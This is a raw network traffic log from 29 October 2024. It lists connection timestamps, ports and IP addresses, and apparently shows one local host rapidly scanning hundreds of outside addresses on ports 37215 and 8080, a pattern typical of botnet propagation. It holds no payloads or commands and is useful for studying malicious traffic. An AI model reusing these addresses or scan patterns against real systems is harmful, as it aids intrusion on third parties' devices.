Oct 29, 2024 20:52:38.236249924 CET	43722	37215	192.168.2.13	197.22.18.13
Oct 29, 2024 20:52:38.239362001 CET	38122	8080	192.168.2.13	94.111.213.11
Oct 29, 2024 20:52:38.239531040 CET	40244	37215	192.168.2.13	197.84.98.117
Oct 29, 2024 20:52:38.240762949 CET	8080	40262	62.166.107.70	192.168.2.13
Oct 29, 2024 20:52:38.240816116 CET	40262	8080	192.168.2.13	62.166.107.70
Oct 29, 2024 20:52:38.242275000 CET	49246	37215	192.168.2.13	197.104.205.72
Oct 29, 2024 20:52:38.242535114 CET	45094	8080	192.168.2.13	31.192.71.141
Oct 29, 2024 20:52:38.247035980 CET	46622	37215	192.168.2.13	197.62.242.98
Oct 29, 2024 20:52:38.247473001 CET	46638	8080	192.168.2.13	62.3.38.167
Oct 29, 2024 20:52:38.250744104 CET	56910	37215	192.168.2.13	197.119.27.79
Oct 29, 2024 20:52:38.252688885 CET	44060	8080	192.168.2.13	62.182.23.116
Oct 29, 2024 20:52:38.252866030 CET	8080	46638	62.3.38.167	192.168.2.13
Oct 29, 2024 20:52:38.252938032 CET	46638	8080	192.168.2.13	62.3.38.167
Oct 29, 2024 20:52:38.255157948 CET	57220	37215	192.168.2.13	197.125.166.82
Oct 29, 2024 20:52:38.257982016 CET	38718	8080	192.168.2.13	62.85.170.146
Oct 29, 2024 20:52:38.259408951 CET	36904	37215	192.168.2.13	197.174.79.45
Oct 29, 2024 20:52:38.262012959 CET	57954	8080	192.168.2.13	31.70.234.67
Oct 29, 2024 20:52:38.263225079 CET	8080	38718	62.85.170.146	192.168.2.13
Oct 29, 2024 20:52:38.263269901 CET	38718	8080	192.168.2.13	62.85.170.146
Oct 29, 2024 20:52:38.263710022 CET	58076	37215	192.168.2.13	197.15.109.5
Oct 29, 2024 20:52:38.267146111 CET	44744	8080	192.168.2.13	85.151.66.251
Oct 29, 2024 20:52:38.268698931 CET	33180	37215	192.168.2.13	197.232.133.202
Oct 29, 2024 20:52:38.270195007 CET	46128	8080	192.168.2.13	95.67.86.123
Oct 29, 2024 20:52:38.270903111 CET	53148	37215	192.168.2.13	197.175.180.229
Oct 29, 2024 20:52:38.272088051 CET	44866	8080	192.168.2.13	31.234.133.130
Oct 29, 2024 20:52:38.272898912 CET	58466	37215	192.168.2.13	197.141.38.251
Oct 29, 2024 20:52:38.273993969 CET	37215	33180	197.232.133.202	192.168.2.13
Oct 29, 2024 20:52:38.274030924 CET	33180	37215	192.168.2.13	197.232.133.202
Oct 29, 2024 20:52:38.274281979 CET	49582	8080	192.168.2.13	31.175.43.53
Oct 29, 2024 20:52:38.275059938 CET	38286	37215	192.168.2.13	197.222.40.41
Oct 29, 2024 20:52:38.277021885 CET	54312	8080	192.168.2.13	94.175.133.203
Oct 29, 2024 20:52:38.277934074 CET	41256	37215	192.168.2.13	197.44.169.8
Oct 29, 2024 20:52:38.279011965 CET	43060	8080	192.168.2.13	95.53.7.16
Oct 29, 2024 20:52:38.279113054 CET	43060	8080	192.168.2.13	95.53.7.16
Oct 29, 2024 20:52:38.279203892 CET	45138	37215	192.168.2.13	197.48.29.21
Oct 29, 2024 20:52:38.280505896 CET	43162	8080	192.168.2.13	95.53.7.16
Oct 29, 2024 20:52:38.281140089 CET	37176	37215	192.168.2.13	197.161.223.8
Oct 29, 2024 20:52:38.281604052 CET	41004	8080	192.168.2.13	31.10.85.213
Oct 29, 2024 20:52:38.281616926 CET	41004	8080	192.168.2.13	31.10.85.213
Oct 29, 2024 20:52:38.282443047 CET	8080	54312	94.175.133.203	192.168.2.13
Oct 29, 2024 20:52:38.282479048 CET	54312	8080	192.168.2.13	94.175.133.203
Oct 29, 2024 20:52:38.282723904 CET	41106	8080	192.168.2.13	31.10.85.213
Oct 29, 2024 20:52:38.282932997 CET	60202	37215	192.168.2.13	197.94.208.161
Oct 29, 2024 20:52:38.283879042 CET	39060	8080	192.168.2.13	62.141.92.245
Oct 29, 2024 20:52:38.283912897 CET	39060	8080	192.168.2.13	62.141.92.245
Oct 29, 2024 20:52:38.284890890 CET	8080	43060	95.53.7.16	192.168.2.13
Oct 29, 2024 20:52:38.285239935 CET	39160	8080	192.168.2.13	62.141.92.245
Oct 29, 2024 20:52:38.285346985 CET	59268	37215	192.168.2.13	197.72.103.105
Oct 29, 2024 20:52:38.286519051 CET	60940	8080	192.168.2.13	31.120.245.195
Oct 29, 2024 20:52:38.286550045 CET	60940	8080	192.168.2.13	31.120.245.195
Oct 29, 2024 20:52:38.287082911 CET	8080	41004	31.10.85.213	192.168.2.13
Oct 29, 2024 20:52:38.287556887 CET	34384	37215	192.168.2.13	197.63.101.72
Oct 29, 2024 20:52:38.287718058 CET	32810	8080	192.168.2.13	31.120.245.195
Oct 29, 2024 20:52:38.289061069 CET	38934	8080	192.168.2.13	85.59.61.243
Oct 29, 2024 20:52:38.289061069 CET	38934	8080	192.168.2.13	85.59.61.243
Oct 29, 2024 20:52:38.289395094 CET	8080	39060	62.141.92.245	192.168.2.13
Oct 29, 2024 20:52:38.290242910 CET	58670	37215	192.168.2.13	197.174.58.204
Oct 29, 2024 20:52:38.291134119 CET	39032	8080	192.168.2.13	85.59.61.243
Oct 29, 2024 20:52:38.291778088 CET	59574	37215	192.168.2.13	197.254.241.184
Oct 29, 2024 20:52:38.292109966 CET	8080	60940	31.120.245.195	192.168.2.13
Oct 29, 2024 20:52:38.292270899 CET	34170	8080	192.168.2.13	31.128.214.100
Oct 29, 2024 20:52:38.292295933 CET	34170	8080	192.168.2.13	31.128.214.100
Oct 29, 2024 20:52:38.292983055 CET	37215	34384	197.63.101.72	192.168.2.13
Oct 29, 2024 20:52:38.293045998 CET	34384	37215	192.168.2.13	197.63.101.72
Oct 29, 2024 20:52:38.293411970 CET	34260	8080	192.168.2.13	31.128.214.100
Oct 29, 2024 20:52:38.293625116 CET	55622	37215	192.168.2.13	197.40.215.134
Oct 29, 2024 20:52:38.294430017 CET	8080	38934	85.59.61.243	192.168.2.13
Oct 29, 2024 20:52:38.295336008 CET	47392	8080	192.168.2.13	85.45.42.252
Oct 29, 2024 20:52:38.295336008 CET	47392	8080	192.168.2.13	85.45.42.252
Oct 29, 2024 20:52:38.296968937 CET	47478	8080	192.168.2.13	85.45.42.252
Oct 29, 2024 20:52:38.297106028 CET	58888	37215	192.168.2.13	197.82.38.233
Oct 29, 2024 20:52:38.297653913 CET	8080	34170	31.128.214.100	192.168.2.13
Oct 29, 2024 20:52:38.298933983 CET	40262	8080	192.168.2.13	62.166.107.70
Oct 29, 2024 20:52:38.298960924 CET	40262	8080	192.168.2.13	62.166.107.70
Oct 29, 2024 20:52:38.300532103 CET	40344	8080	192.168.2.13	62.166.107.70
Oct 29, 2024 20:52:38.300654888 CET	55774	37215	192.168.2.13	197.224.114.42
Oct 29, 2024 20:52:38.300734997 CET	8080	47392	85.45.42.252	192.168.2.13
Oct 29, 2024 20:52:38.301974058 CET	46638	8080	192.168.2.13	62.3.38.167
Oct 29, 2024 20:52:38.301974058 CET	46638	8080	192.168.2.13	62.3.38.167
Oct 29, 2024 20:52:38.302372932 CET	8080	47478	85.45.42.252	192.168.2.13
Oct 29, 2024 20:52:38.302571058 CET	47478	8080	192.168.2.13	85.45.42.252
Oct 29, 2024 20:52:38.302922010 CET	46710	8080	192.168.2.13	62.3.38.167
Oct 29, 2024 20:52:38.303097010 CET	53592	37215	192.168.2.13	197.250.165.168
Oct 29, 2024 20:52:38.303987980 CET	38718	8080	192.168.2.13	62.85.170.146
Oct 29, 2024 20:52:38.303998947 CET	38718	8080	192.168.2.13	62.85.170.146
Oct 29, 2024 20:52:38.304483891 CET	8080	40262	62.166.107.70	192.168.2.13
Oct 29, 2024 20:52:38.305265903 CET	38786	8080	192.168.2.13	62.85.170.146
Oct 29, 2024 20:52:38.305387974 CET	35152	37215	192.168.2.13	197.154.91.203
Oct 29, 2024 20:52:38.306725979 CET	54312	8080	192.168.2.13	94.175.133.203
Oct 29, 2024 20:52:38.306729078 CET	47478	8080	192.168.2.13	85.45.42.252
Oct 29, 2024 20:52:38.306740999 CET	54312	8080	192.168.2.13	94.175.133.203
Oct 29, 2024 20:52:38.307364941 CET	8080	46638	62.3.38.167	192.168.2.13
Oct 29, 2024 20:52:38.307564974 CET	37806	37215	192.168.2.13	197.84.161.177
Oct 29, 2024 20:52:38.307816029 CET	54362	8080	192.168.2.13	94.175.133.203
Oct 29, 2024 20:52:38.309079885 CET	59370	37215	192.168.2.13	197.134.32.72
Oct 29, 2024 20:52:38.309276104 CET	8080	38718	62.85.170.146	192.168.2.13
Oct 29, 2024 20:52:38.310309887 CET	40154	37215	192.168.2.13	197.186.206.62
Oct 29, 2024 20:52:38.311853886 CET	48684	37215	192.168.2.13	197.183.11.72
Oct 29, 2024 20:52:38.312114000 CET	8080	54312	94.175.133.203	192.168.2.13
Oct 29, 2024 20:52:38.312887907 CET	37812	37215	192.168.2.13	197.197.68.118
Oct 29, 2024 20:52:38.313724041 CET	37215	37806	197.84.161.177	192.168.2.13
Oct 29, 2024 20:52:38.313828945 CET	37806	37215	192.168.2.13	197.84.161.177
Oct 29, 2024 20:52:38.313939095 CET	37638	37215	192.168.2.13	197.206.189.198
Oct 29, 2024 20:52:38.314018965 CET	8080	47478	85.45.42.252	192.168.2.13
Oct 29, 2024 20:52:38.314097881 CET	47478	8080	192.168.2.13	85.45.42.252
Oct 29, 2024 20:52:38.314656019 CET	59954	37215	192.168.2.13	197.253.150.43
Oct 29, 2024 20:52:38.315821886 CET	59260	37215	192.168.2.13	197.143.247.239
Oct 29, 2024 20:52:38.321213007 CET	37215	59260	197.143.247.239	192.168.2.13
Oct 29, 2024 20:52:38.321455002 CET	59260	37215	192.168.2.13	197.143.247.239
Oct 29, 2024 20:52:38.327009916 CET	8080	43060	95.53.7.16	192.168.2.13
Oct 29, 2024 20:52:38.331198931 CET	8080	39060	62.141.92.245	192.168.2.13
Oct 29, 2024 20:52:38.331204891 CET	8080	41004	31.10.85.213	192.168.2.13
Oct 29, 2024 20:52:38.331687927 CET	38712	37215	192.168.2.13	197.21.53.53
Oct 29, 2024 20:52:38.332811117 CET	60084	37215	192.168.2.13	197.93.148.232
Oct 29, 2024 20:52:38.334120035 CET	59780	37215	192.168.2.13	197.189.215.204
Oct 29, 2024 20:52:38.335021019 CET	8080	38934	85.59.61.243	192.168.2.13
Oct 29, 2024 20:52:38.335046053 CET	41906	37215	192.168.2.13	197.245.250.35
Oct 29, 2024 20:52:38.335057974 CET	8080	60940	31.120.245.195	192.168.2.13
Oct 29, 2024 20:52:38.336116076 CET	55080	37215	192.168.2.13	197.5.132.46
Oct 29, 2024 20:52:38.336981058 CET	37215	38712	197.21.53.53	192.168.2.13
Oct 29, 2024 20:52:38.337071896 CET	58698	37215	192.168.2.13	197.140.16.32
Oct 29, 2024 20:52:38.337088108 CET	38712	37215	192.168.2.13	197.21.53.53
Oct 29, 2024 20:52:38.338407993 CET	55430	37215	192.168.2.13	197.2.190.187
Oct 29, 2024 20:52:38.339023113 CET	8080	34170	31.128.214.100	192.168.2.13
Oct 29, 2024 20:52:38.339252949 CET	44050	37215	192.168.2.13	197.33.166.216
Oct 29, 2024 20:52:38.340225935 CET	45354	37215	192.168.2.13	197.71.165.242
Oct 29, 2024 20:52:38.341133118 CET	34476	37215	192.168.2.13	197.123.48.178
Oct 29, 2024 20:52:38.341519117 CET	37215	55080	197.5.132.46	192.168.2.13
Oct 29, 2024 20:52:38.341572046 CET	55080	37215	192.168.2.13	197.5.132.46
Oct 29, 2024 20:52:38.342299938 CET	51520	37215	192.168.2.13	197.67.160.172
Oct 29, 2024 20:52:38.343029976 CET	8080	47392	85.45.42.252	192.168.2.13
Oct 29, 2024 20:52:38.343343973 CET	52182	37215	192.168.2.13	197.185.158.42
Oct 29, 2024 20:52:38.344249964 CET	56502	37215	192.168.2.13	197.163.239.204
Oct 29, 2024 20:52:38.345490932 CET	45752	37215	192.168.2.13	197.145.122.216
Oct 29, 2024 20:52:38.347007036 CET	8080	40262	62.166.107.70	192.168.2.13
Oct 29, 2024 20:52:38.347295046 CET	53714	37215	192.168.2.13	197.171.251.64
Oct 29, 2024 20:52:38.348723888 CET	50224	37215	192.168.2.13	197.61.227.3
Oct 29, 2024 20:52:38.349848032 CET	39878	37215	192.168.2.13	197.147.130.149
Oct 29, 2024 20:52:38.350728989 CET	59024	37215	192.168.2.13	197.88.150.253
Oct 29, 2024 20:52:38.351180077 CET	8080	38718	62.85.170.146	192.168.2.13
Oct 29, 2024 20:52:38.351598024 CET	8080	46638	62.3.38.167	192.168.2.13
Oct 29, 2024 20:52:38.351826906 CET	47200	37215	192.168.2.13	197.64.43.119
Oct 29, 2024 20:52:38.353241920 CET	36198	37215	192.168.2.13	197.154.48.66
Oct 29, 2024 20:52:38.355221987 CET	59384	37215	192.168.2.13	197.172.55.26
Oct 29, 2024 20:52:38.355674982 CET	8080	54312	94.175.133.203	192.168.2.13
Oct 29, 2024 20:52:38.355854034 CET	37215	50224	197.61.227.3	192.168.2.13
Oct 29, 2024 20:52:38.355911970 CET	50224	37215	192.168.2.13	197.61.227.3
Oct 29, 2024 20:52:38.356363058 CET	54838	37215	192.168.2.13	197.114.13.166
Oct 29, 2024 20:52:38.357295036 CET	50442	37215	192.168.2.13	197.90.162.172
Oct 29, 2024 20:52:38.358388901 CET	57170	37215	192.168.2.13	197.125.41.102
Oct 29, 2024 20:52:38.359388113 CET	57952	37215	192.168.2.13	197.149.94.181
Oct 29, 2024 20:52:38.360528946 CET	57060	37215	192.168.2.13	197.105.13.224
Oct 29, 2024 20:52:38.361598015 CET	55678	37215	192.168.2.13	197.23.56.133
Oct 29, 2024 20:52:38.362034082 CET	37215	54838	197.114.13.166	192.168.2.13
Oct 29, 2024 20:52:38.362072945 CET	54838	37215	192.168.2.13	197.114.13.166
Oct 29, 2024 20:52:38.362782001 CET	44542	37215	192.168.2.13	197.66.98.156
Oct 29, 2024 20:52:38.363971949 CET	34720	37215	192.168.2.13	197.100.167.241
Oct 29, 2024 20:52:38.365044117 CET	59498	37215	192.168.2.13	197.26.246.13
Oct 29, 2024 20:52:38.366141081 CET	59250	37215	192.168.2.13	197.247.6.61
Oct 29, 2024 20:52:38.367038965 CET	46118	37215	192.168.2.13	197.234.179.44
Oct 29, 2024 20:52:38.368107080 CET	57752	37215	192.168.2.13	197.3.51.113
Oct 29, 2024 20:52:38.369898081 CET	48332	37215	192.168.2.13	197.131.116.90
Oct 29, 2024 20:52:38.371149063 CET	33446	37215	192.168.2.13	197.70.245.231
Oct 29, 2024 20:52:38.372236967 CET	55746	37215	192.168.2.13	197.148.49.164
Oct 29, 2024 20:52:38.373199940 CET	50830	37215	192.168.2.13	197.128.243.234
Oct 29, 2024 20:52:38.373708010 CET	37215	57752	197.3.51.113	192.168.2.13
Oct 29, 2024 20:52:38.373831987 CET	57752	37215	192.168.2.13	197.3.51.113
Oct 29, 2024 20:52:38.375431061 CET	41054	37215	192.168.2.13	197.1.115.138
Oct 29, 2024 20:52:38.376524925 CET	43938	37215	192.168.2.13	197.237.156.86
Oct 29, 2024 20:52:38.378154993 CET	49944	37215	192.168.2.13	197.34.245.164
Oct 29, 2024 20:52:38.379019022 CET	56998	37215	192.168.2.13	197.22.128.238
Oct 29, 2024 20:52:38.380040884 CET	58502	37215	192.168.2.13	197.69.142.211
Oct 29, 2024 20:52:38.380837917 CET	37215	41054	197.1.115.138	192.168.2.13
Oct 29, 2024 20:52:38.380889893 CET	41054	37215	192.168.2.13	197.1.115.138
Oct 29, 2024 20:52:38.381030083 CET	43888	37215	192.168.2.13	197.175.186.91
Oct 29, 2024 20:52:38.381987095 CET	54660	37215	192.168.2.13	197.96.10.152
Oct 29, 2024 20:52:38.383337021 CET	36440	37215	192.168.2.13	197.190.182.202
Oct 29, 2024 20:52:38.384510040 CET	48156	37215	192.168.2.13	197.186.244.5
Oct 29, 2024 20:52:38.385813951 CET	33356	37215	192.168.2.13	197.139.97.23
Oct 29, 2024 20:52:38.386884928 CET	48656	37215	192.168.2.13	197.74.194.72
Oct 29, 2024 20:52:38.387942076 CET	60564	37215	192.168.2.13	197.79.36.199
Oct 29, 2024 20:52:38.388909101 CET	45372	37215	192.168.2.13	197.157.230.243
Oct 29, 2024 20:52:38.389796019 CET	59620	37215	192.168.2.13	197.169.143.192
Oct 29, 2024 20:52:38.390928030 CET	43644	37215	192.168.2.13	197.101.145.76
Oct 29, 2024 20:52:38.392431021 CET	33016	37215	192.168.2.13	197.20.157.126
Oct 29, 2024 20:52:38.393666029 CET	40548	37215	192.168.2.13	197.213.247.174
Oct 29, 2024 20:52:38.393923044 CET	37215	60564	197.79.36.199	192.168.2.13
Oct 29, 2024 20:52:38.394154072 CET	60564	37215	192.168.2.13	197.79.36.199
Oct 29, 2024 20:52:38.395338058 CET	46886	37215	192.168.2.13	197.170.191.14
Oct 29, 2024 20:52:38.396783113 CET	37696	37215	192.168.2.13	197.245.57.241
Oct 29, 2024 20:52:38.398278952 CET	48422	37215	192.168.2.13	197.226.32.137
Oct 29, 2024 20:52:38.399405956 CET	43810	37215	192.168.2.13	197.244.69.115
Oct 29, 2024 20:52:38.400429010 CET	56556	37215	192.168.2.13	197.163.85.203
Oct 29, 2024 20:52:38.401237011 CET	37215	46886	197.170.191.14	192.168.2.13
Oct 29, 2024 20:52:38.401293993 CET	46886	37215	192.168.2.13	197.170.191.14
Oct 29, 2024 20:52:38.401402950 CET	34946	37215	192.168.2.13	197.203.107.151
Oct 29, 2024 20:52:38.402331114 CET	40220	37215	192.168.2.13	197.24.63.62
Oct 29, 2024 20:52:38.403300047 CET	38122	37215	192.168.2.13	197.235.199.38
Oct 29, 2024 20:52:38.404297113 CET	46548	37215	192.168.2.13	197.78.20.163
Oct 29, 2024 20:52:38.405316114 CET	55790	37215	192.168.2.13	197.117.170.246
Oct 29, 2024 20:52:38.419655085 CET	37498	37215	192.168.2.13	197.130.144.64
Oct 29, 2024 20:52:38.420787096 CET	51386	37215	192.168.2.13	197.200.27.247
Oct 29, 2024 20:52:38.421989918 CET	46116	37215	192.168.2.13	197.62.222.62
Oct 29, 2024 20:52:38.421989918 CET	47914	37215	192.168.2.13	197.139.43.111
Oct 29, 2024 20:52:38.422004938 CET	42884	37215	192.168.2.13	197.247.176.62
Oct 29, 2024 20:52:38.422019005 CET	34384	37215	192.168.2.13	197.64.21.215
Oct 29, 2024 20:52:38.422043085 CET	33648	37215	192.168.2.13	197.212.208.236
Oct 29, 2024 20:52:38.422075987 CET	40180	37215	192.168.2.13	197.176.33.243
Oct 29, 2024 20:52:38.422081947 CET	51354	37215	192.168.2.13	197.137.202.39
Oct 29, 2024 20:52:38.422092915 CET	48404	37215	192.168.2.13	197.103.124.224
Oct 29, 2024 20:52:38.422099113 CET	58102	37215	192.168.2.13	197.95.90.227
Oct 29, 2024 20:52:38.422112942 CET	37040	37215	192.168.2.13	197.58.85.58
Oct 29, 2024 20:52:38.422188997 CET	41278	37215	192.168.2.13	197.75.251.41
Oct 29, 2024 20:52:38.422190905 CET	36660	37215	192.168.2.13	197.125.60.143
Oct 29, 2024 20:52:38.422188997 CET	57180	37215	192.168.2.13	197.20.183.134
Oct 29, 2024 20:52:38.422255039 CET	33180	37215	192.168.2.13	197.232.133.202
Oct 29, 2024 20:52:38.422255993 CET	43566	37215	192.168.2.13	197.61.144.176
Oct 29, 2024 20:52:38.422280073 CET	34384	37215	192.168.2.13	197.63.101.72
Oct 29, 2024 20:52:38.422280073 CET	37806	37215	192.168.2.13	197.84.161.177
Oct 29, 2024 20:52:38.422286987 CET	59260	37215	192.168.2.13	197.143.247.239
Oct 29, 2024 20:52:38.422338009 CET	38712	37215	192.168.2.13	197.21.53.53
Oct 29, 2024 20:52:38.422348022 CET	50224	37215	192.168.2.13	197.61.227.3
Oct 29, 2024 20:52:38.422384977 CET	55080	37215	192.168.2.13	197.5.132.46
Oct 29, 2024 20:52:38.422391891 CET	57752	37215	192.168.2.13	197.3.51.113
Oct 29, 2024 20:52:38.422395945 CET	54838	37215	192.168.2.13	197.114.13.166
Oct 29, 2024 20:52:38.422473907 CET	41054	37215	192.168.2.13	197.1.115.138
Oct 29, 2024 20:52:38.422535896 CET	46886	37215	192.168.2.13	197.170.191.14
Oct 29, 2024 20:52:38.422538042 CET	60564	37215	192.168.2.13	197.79.36.199
Oct 29, 2024 20:52:38.422557116 CET	46116	37215	192.168.2.13	197.62.222.62
Oct 29, 2024 20:52:38.422557116 CET	47914	37215	192.168.2.13	197.139.43.111
Oct 29, 2024 20:52:38.422558069 CET	42884	37215	192.168.2.13	197.247.176.62
Oct 29, 2024 20:52:38.422574997 CET	34384	37215	192.168.2.13	197.64.21.215
Oct 29, 2024 20:52:38.422578096 CET	33648	37215	192.168.2.13	197.212.208.236
Oct 29, 2024 20:52:38.422594070 CET	58102	37215	192.168.2.13	197.95.90.227
Oct 29, 2024 20:52:38.422595024 CET	48404	37215	192.168.2.13	197.103.124.224
Oct 29, 2024 20:52:38.422596931 CET	40180	37215	192.168.2.13	197.176.33.243
Oct 29, 2024 20:52:38.422596931 CET	37040	37215	192.168.2.13	197.58.85.58
Oct 29, 2024 20:52:38.422600031 CET	51354	37215	192.168.2.13	197.137.202.39
Oct 29, 2024 20:52:38.422635078 CET	41278	37215	192.168.2.13	197.75.251.41
Oct 29, 2024 20:52:38.422636986 CET	43566	37215	192.168.2.13	197.61.144.176
Oct 29, 2024 20:52:38.422637939 CET	36660	37215	192.168.2.13	197.125.60.143
Oct 29, 2024 20:52:38.422636032 CET	57180	37215	192.168.2.13	197.20.183.134
Oct 29, 2024 20:52:38.422638893 CET	33180	37215	192.168.2.13	197.232.133.202
Oct 29, 2024 20:52:38.422692060 CET	38712	37215	192.168.2.13	197.21.53.53
Oct 29, 2024 20:52:38.422692060 CET	50224	37215	192.168.2.13	197.61.227.3
Oct 29, 2024 20:52:38.422696114 CET	34384	37215	192.168.2.13	197.63.101.72
Oct 29, 2024 20:52:38.422696114 CET	37806	37215	192.168.2.13	197.84.161.177
Oct 29, 2024 20:52:38.422698021 CET	59260	37215	192.168.2.13	197.143.247.239
Oct 29, 2024 20:52:38.422698021 CET	55080	37215	192.168.2.13	197.5.132.46
Oct 29, 2024 20:52:38.422717094 CET	57752	37215	192.168.2.13	197.3.51.113
Oct 29, 2024 20:52:38.422717094 CET	54838	37215	192.168.2.13	197.114.13.166
Oct 29, 2024 20:52:38.422734976 CET	41054	37215	192.168.2.13	197.1.115.138
Oct 29, 2024 20:52:38.422764063 CET	46886	37215	192.168.2.13	197.170.191.14
Oct 29, 2024 20:52:38.422766924 CET	60564	37215	192.168.2.13	197.79.36.199
Oct 29, 2024 20:52:38.423276901 CET	40180	37215	192.168.2.13	197.44.48.43
Oct 29, 2024 20:52:38.424315929 CET	53868	37215	192.168.2.13	197.179.219.102
Oct 29, 2024 20:52:38.425354004 CET	37215	37498	197.130.144.64	192.168.2.13
Oct 29, 2024 20:52:38.425391912 CET	37498	37215	192.168.2.13	197.130.144.64
Oct 29, 2024 20:52:38.425564051 CET	49584	37215	192.168.2.13	197.237.179.83
Oct 29, 2024 20:52:38.426109076 CET	37215	51386	197.200.27.247	192.168.2.13
Oct 29, 2024 20:52:38.426192045 CET	51386	37215	192.168.2.13	197.200.27.247
Oct 29, 2024 20:52:38.426631927 CET	59926	37215	192.168.2.13	197.150.216.3
Oct 29, 2024 20:52:38.427436113 CET	37215	46116	197.62.222.62	192.168.2.13
Oct 29, 2024 20:52:38.427510023 CET	37215	47914	197.139.43.111	192.168.2.13
Oct 29, 2024 20:52:38.427553892 CET	37215	42884	197.247.176.62	192.168.2.13
Oct 29, 2024 20:52:38.427623034 CET	42808	37215	192.168.2.13	197.243.51.19
Oct 29, 2024 20:52:38.427654982 CET	37215	34384	197.64.21.215	192.168.2.13
Oct 29, 2024 20:52:38.427661896 CET	37215	33648	197.212.208.236	192.168.2.13
Oct 29, 2024 20:52:38.427716970 CET	37215	40180	197.176.33.243	192.168.2.13
Oct 29, 2024 20:52:38.427722931 CET	37215	51354	197.137.202.39	192.168.2.13
Oct 29, 2024 20:52:38.427809000 CET	37215	48404	197.103.124.224	192.168.2.13
Oct 29, 2024 20:52:38.428529024 CET	37215	37040	197.58.85.58	192.168.2.13
Oct 29, 2024 20:52:38.428551912 CET	37215	58102	197.95.90.227	192.168.2.13
Oct 29, 2024 20:52:38.428561926 CET	37215	36660	197.125.60.143	192.168.2.13
Oct 29, 2024 20:52:38.428570032 CET	37215	41278	197.75.251.41	192.168.2.13
Oct 29, 2024 20:52:38.428576946 CET	37215	57180	197.20.183.134	192.168.2.13
Oct 29, 2024 20:52:38.428580046 CET	37215	33180	197.232.133.202	192.168.2.13
Oct 29, 2024 20:52:38.428586006 CET	37215	43566	197.61.144.176	192.168.2.13
Oct 29, 2024 20:52:38.428590059 CET	37215	34384	197.63.101.72	192.168.2.13
Oct 29, 2024 20:52:38.428594112 CET	37215	37806	197.84.161.177	192.168.2.13
Oct 29, 2024 20:52:38.428606033 CET	37215	59260	197.143.247.239	192.168.2.13
Oct 29, 2024 20:52:38.428610086 CET	37215	38712	197.21.53.53	192.168.2.13
Oct 29, 2024 20:52:38.428615093 CET	37215	50224	197.61.227.3	192.168.2.13
Oct 29, 2024 20:52:38.428618908 CET	37215	55080	197.5.132.46	192.168.2.13
Oct 29, 2024 20:52:38.428622961 CET	37215	57752	197.3.51.113	192.168.2.13
Oct 29, 2024 20:52:38.428632975 CET	37215	54838	197.114.13.166	192.168.2.13
Oct 29, 2024 20:52:38.428637981 CET	37215	41054	197.1.115.138	192.168.2.13
Oct 29, 2024 20:52:38.428647995 CET	37215	46886	197.170.191.14	192.168.2.13
Oct 29, 2024 20:52:38.428653002 CET	37215	60564	197.79.36.199	192.168.2.13
Oct 29, 2024 20:52:38.428714037 CET	55738	37215	192.168.2.13	197.111.74.126
Oct 29, 2024 20:52:38.429619074 CET	34030	37215	192.168.2.13	197.123.0.26
Oct 29, 2024 20:52:38.430586100 CET	48616	37215	192.168.2.13	197.203.175.209
Oct 29, 2024 20:52:38.431452036 CET	45702	37215	192.168.2.13	197.251.185.207
Oct 29, 2024 20:52:38.432612896 CET	51848	37215	192.168.2.13	197.180.225.224
Oct 29, 2024 20:52:38.433044910 CET	37215	42808	197.243.51.19	192.168.2.13
Oct 29, 2024 20:52:38.433084965 CET	42808	37215	192.168.2.13	197.243.51.19
Oct 29, 2024 20:52:38.433594942 CET	42450	37215	192.168.2.13	197.15.25.206
Oct 29, 2024 20:52:38.434927940 CET	50172	37215	192.168.2.13	197.126.50.179
Oct 29, 2024 20:52:38.435955048 CET	45844	37215	192.168.2.13	197.149.3.204
Oct 29, 2024 20:52:38.436875105 CET	56188	37215	192.168.2.13	197.79.154.24
Oct 29, 2024 20:52:38.437886000 CET	59872	37215	192.168.2.13	197.128.24.21
Oct 29, 2024 20:52:38.439070940 CET	39402	37215	192.168.2.13	197.50.200.236
Oct 29, 2024 20:52:38.439863920 CET	45012	37215	192.168.2.13	197.101.26.3
Oct 29, 2024 20:52:38.440825939 CET	47242	37215	192.168.2.13	197.88.156.31
Oct 29, 2024 20:52:38.441432953 CET	37215	45844	197.149.3.204	192.168.2.13
Oct 29, 2024 20:52:38.441484928 CET	45844	37215	192.168.2.13	197.149.3.204
Oct 29, 2024 20:52:38.441808939 CET	59934	37215	192.168.2.13	197.188.51.144
Oct 29, 2024 20:52:38.442786932 CET	54800	37215	192.168.2.13	197.56.207.94
Oct 29, 2024 20:52:38.443886995 CET	51244	37215	192.168.2.13	197.118.218.145
Oct 29, 2024 20:52:38.445131063 CET	45558	37215	192.168.2.13	197.55.81.16
Oct 29, 2024 20:52:38.446047068 CET	49382	37215	192.168.2.13	197.231.175.200
Oct 29, 2024 20:52:38.447072029 CET	44124	37215	192.168.2.13	197.189.116.196
Oct 29, 2024 20:52:38.448044062 CET	51160	37215	192.168.2.13	197.137.219.11
Oct 29, 2024 20:52:38.449188948 CET	56454	37215	192.168.2.13	197.203.244.146
Oct 29, 2024 20:52:38.450325012 CET	42808	37215	192.168.2.13	197.243.51.19
Oct 29, 2024 20:52:38.450352907 CET	45844	37215	192.168.2.13	197.149.3.204
Oct 29, 2024 20:52:38.450372934 CET	37498	37215	192.168.2.13	197.130.144.64
Oct 29, 2024 20:52:38.450412035 CET	51386	37215	192.168.2.13	197.200.27.247
Oct 29, 2024 20:52:38.450443029 CET	42808	37215	192.168.2.13	197.243.51.19
Oct 29, 2024 20:52:38.450474024 CET	45844	37215	192.168.2.13	197.149.3.204
Oct 29, 2024 20:52:38.450479984 CET	37498	37215	192.168.2.13	197.130.144.64
Oct 29, 2024 20:52:38.450488091 CET	51386	37215	192.168.2.13	197.200.27.247
Oct 29, 2024 20:52:38.453804016 CET	37215	51160	197.137.219.11	192.168.2.13
Oct 29, 2024 20:52:38.453896999 CET	51160	37215	192.168.2.13	197.137.219.11
Oct 29, 2024 20:52:38.453974962 CET	51160	37215	192.168.2.13	197.137.219.11
Oct 29, 2024 20:52:38.454015017 CET	51160	37215	192.168.2.13	197.137.219.11
Oct 29, 2024 20:52:38.455789089 CET	37215	42808	197.243.51.19	192.168.2.13
Oct 29, 2024 20:52:38.455842972 CET	37215	45844	197.149.3.204	192.168.2.13
Oct 29, 2024 20:52:38.455852985 CET	37215	37498	197.130.144.64	192.168.2.13
Oct 29, 2024 20:52:38.455857992 CET	37215	51386	197.200.27.247	192.168.2.13
Oct 29, 2024 20:52:38.459430933 CET	37215	51160	197.137.219.11	192.168.2.13
Oct 29, 2024 20:52:38.471823931 CET	37215	60564	197.79.36.199	192.168.2.13
Oct 29, 2024 20:52:38.471978903 CET	37215	46886	197.170.191.14	192.168.2.13
